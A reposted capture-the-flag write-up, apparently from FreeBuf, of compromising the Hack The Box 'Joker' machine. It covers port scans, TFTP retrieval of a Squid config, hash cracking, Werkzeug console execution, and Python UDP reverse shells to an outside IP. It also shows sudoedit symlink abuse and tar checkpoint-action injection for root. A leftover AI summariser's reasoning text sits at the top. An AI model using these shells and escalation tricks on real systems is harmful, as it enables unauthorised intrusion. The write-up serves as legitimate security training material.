[Meachines] [Hard] Joker TFTP+squid+ln+checkpoint-action
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户已经提供了文章内容,看起来是关于网络安全的,涉及IP地址、端口扫描、漏洞利用、提权等步骤。 首先,我要通读文章内容,找出关键点。文章提到了IP地址10.10.10.21,开放了TCP端口22(SSH)、3128(HTTP代理)和UDP端口69(TFTP)。接着使用nmap和masscan进行扫描,发现服务版本和漏洞。 然后,用户尝试通过TFTP获取配置文件,使用hashcat破解密码。成功后利用代理访问内网,使用feroxbuster进行目录扫描。接着查看iptables规则,设置UDP反向shell,并编写TFTP服务器代码。 之后,用户通过sudo权限漏洞提权,利用ln劫持和checkpoint-action命令注入获取root权限。最后上传工具pspy64和rev.py进行进一步操作。 总结这些步骤,可以概括为:文章描述了一次针对IP地址10.10.10.21的渗透测试过程,包括端口扫描、漏洞利用、提权和后渗透操作。 现在需要将这些内容浓缩到100字以内,并且不使用“文章内容总结”之类的开头。直接描述即可。 </think> 文章描述了一次针对IP地址`10.10.10.21`的渗透测试过程。测试者通过扫描发现开放了SSH(22)、HTTP代理(3128)和TFTP(69)端口,并利用这些服务进行进一步攻击。最终通过漏洞利用和权限提升成功获取了目标系统的控制权。 2025-10-15 15:40:43 Author: www.freebuf.com(查看原文) 阅读量:22 收藏

IP AddressOpening Ports
10.10.10.21TCP:22,3128,U:69

$ ip='10.10.10.21'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
|   256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
|_  256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
3128/tcp open  http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

$ sudo masscan -pU:69 10.10.10.21 --rate=2000 -e tun0

https://wiki.squid-cache.org/SquidFaq/ConfiguringSquid

image.png

$ tftp 10.10.10.21

tftp>get /etc/squid/squid.conf

image-1.png

tftp>get /etc/squid/squid.conf

image-2.png

$ hashcat -m 1600 -a 0 --username hash /usr/share/wordlists/rockyou.txt

image-3.png

USERNAME:kalamari
PASSWORD:ihateseafood

$ export all_proxy='http://kalamari:[email protected]:3128'

$ curl http://127.0.0.1

image-4.png

image-6.png

http://127.0.0.1

image-7.png

$ feroxbuster -u http://127.0.0.1 -p http://kalamari:[email protected]:3128

image-5.png

http://127.0.0.1/console

image-8.png

查看iptables-ACL規則

>>>print __import__("subprocess").check_output("cat /etc/iptables/rules.v4", shell=True)

image-9.png

入站保守 → 只允許 SSH、3128 端口、UDP、ICMP 和本機
出站限制 → 阻擋所有新的 TCP 出站
轉發無限制 → FORWARD ACCEPT
主要針對 ens33 網卡生效

UDP reverse shell

>>>import os,pty,socket;s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(("10.10.16.16", 443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

image-10.png

image-11.png

開啓臨時tftp服務器

from tftpy import TftpServer
import argparse

def start_tftp_server(root_dir, port=69):
    server = TftpServer(root_dir)
    print(f"TFTP server started, root directory: {root_dir}, port: {port} (UDP)")
    print("Press Ctrl+C to stop the server...")
    try:
        server.listen('0.0.0.0', port)
    except KeyboardInterrupt:
        print("\nServer stopped")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Temporary TFTP Server")
    parser.add_argument("root_dir", help="TFTP file root directory (for storing/reading files)")
    parser.add_argument("-p", "--port", type=int, default=69, help="TFTP port (default: 69)")
    args = parser.parse_args()
    start_tftp_server(args.root_dir, args.port)

$ python tftp.py ./

image-12.png

werkzeug@joker:/tmp$ tftp 10.10.16.16

tftp> get linpeas.sh

image-13.png

werkzeug@joker:/tmp$ chmod +x linpeas.sh

werkzeug@joker:/tmp$ ./linpeas.sh

werkzeug@joker:/tmp$ sudo -l

image-14.png

werkzeug@joker:/tmp$ mkdir /var/www/testing/1/

werkzeug@joker:/tmp$ ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/1/layout.html

實際上可以通過截斷繞過通配符:

sudoedit /var/www/[space].ssh/authorized_keys[space]/layout.html


CTRL+z

$ stty raw -echo;fg

werkzeug@joker:/tmp$ reset

werkzeug@joker:/tmp$ sudoedit -u alekos /var/www/testing/1/layout.html

image-15.png

$ ssh -i /home/maptnh/.ssh/id_ed25519 [email protected]

image-16.png

User.txt

c4c18f8adb12662a614ea8a47ec26f45

$ scp -i /home/maptnh/.ssh/id_ed25519 /home/maptnh/tolapi/get/pspy64 [email protected]:/dev/shm/pspy64

image-17.png

image-18.png

Method 1: ln hijack

alekos@joker:~$ mv development development.BAK

alekos@joker:~$ ln -s /root development

image-20.png

image-19.png

Method 2: checkpoint-action && Tar command injection

import os
import pty
import socket

lhost = "10.10.16.16" 
lport = 443 

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
	
if __name__ == "__main__":
    main()

$ scp -i /home/maptnh/.ssh/id_ed25519 /tmp/rev.py [email protected]:/home/alekos/development/rev.py

alekos@joker:~$ chmod +x development/rev.py

設置檢查點(當前文件第一個時候)

alekos@joker:(development/)$ touch -- --checkpoint=1

檢查點過後觸發

alekos@joker:(development/)$ touch -- '--checkpoint-action=exec=python rev.py'

image-21.png

image-22.png

image-23.png

Root.txt

c0445f9b6e35d16ef4a0eb2c73eada07


文章来源: https://www.freebuf.com/articles/web/452836.html
如有侵权请联系:admin#unsafe.sh